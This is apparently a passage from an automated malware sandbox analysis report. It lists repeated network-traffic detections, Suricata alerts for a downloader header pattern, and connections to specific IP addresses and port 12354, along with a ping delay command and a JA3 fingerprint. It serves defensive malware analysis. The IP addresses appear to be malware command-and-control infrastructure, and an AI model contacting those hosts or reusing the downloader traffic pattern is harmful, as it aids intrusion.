Source: unknown	Network traffic detected: HTTP traffic on port 50969 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51054 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51059 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51165 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51174 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51270 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51281 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51398 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51413 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51518 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51526 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51647 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51656 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51746 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51754 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51887 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51895 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53096 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53196 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55196 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55373 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56825 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56943 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58262 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58391 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59886 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60187 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 62140 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 62324 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 63850 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 63953 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49408 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49568 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50887 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50978 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52262 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52324 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53384 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53421 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55505 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55526 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56247 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56326 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 57951 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58061 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58996 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59064 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60767 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60826 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 62599 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 62749 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64837 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64938 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49903 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50770 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50952 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52076 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52148 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 54178 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 54341 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56340 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56384 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58345 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58350 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59128 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59213 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60550 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60645 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61837 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61878 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 63820 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 63928 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49227 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49286 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51179 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51231 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52745 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52943 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55099 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55105 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56148 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56266 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 57522 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 57654 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59061 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59074 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60826 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60939 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 62420 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 62477 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64620 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64839 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51424 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51593 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52000 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52120 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 54323 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 54419 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56239 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56241 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58669 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58756 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60811 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60813 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 62747 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 62754 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64340 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64411 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51627 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51781 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53250 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53449 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 54167 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 54268 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56076 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56250 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 57568 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 57657 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60035 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60195 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61976 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 62080 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64142 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64288 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 65421 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 65491 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51155 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51268 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52585 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52771 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 54999 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55132 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56775 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56923 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58580 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58639 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60181 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60346 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 62705 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 62711 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 63434 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 63529 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64828 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64971 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50396 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50467 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51864 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52000 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53660 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53773 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55792 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55930 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 57469 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 57499 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58773 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58794 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59420 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59536 -> 12354

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2

Source: global traffic

TCP traffic: 192.168.2.9:49750 -> 107.163.241.204:12354

Source: Joe Sandbox View

IP Address: 202.108.0.52 202.108.0.52

Source: Joe Sandbox View

ASN Name: TAKE2US TAKE2US

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:49887 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:49772 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:49751 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:49796 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:49857 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:49816 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:49842 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:49773 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:49750 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:49814 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:49840 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:49798 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:49815 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:49859 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:49906 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:49932 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:50003 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:50028 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:49983 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:49954 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:50000 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:49979 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:50103 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:49952 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:50127 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:50080 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:50077 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:50177 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:50180 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:50203 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:50150 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:50130 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:49929 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:50152 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:49784 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:50100 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:49860 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:50051 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:49884 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:50153 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:49905 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:49955 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:50102 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:49903 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:50002 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:50050 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:50200 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:50204 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:50032 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:50258 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:50236 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:50255 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:50319 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:50356 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:50320 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:50385 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:50289 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:50386 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:50446 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:50354 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:50233 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:50416 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:50382 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:50571 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:50574 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:50450 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:50810 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:50292 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:50804 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:50317 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:50520 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:50610 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:50731 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:50521 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:50730 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:50615 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:51054 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:50048 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:50451 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:51174 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:50675 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:50681 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:50414 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:51059 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:50487 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:50959 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:50614 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:50862 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:50517 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:50858 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:50726 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:50861 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:50969 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:51165 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:50483 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:51270 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:51280 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:51526 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:51656 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:51754 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:51281 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:51398 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:51518 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:56825 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:53200 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:51647 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:62140 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:53196 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:58391 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:51746 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:60100 -> 202.108.0.52:80
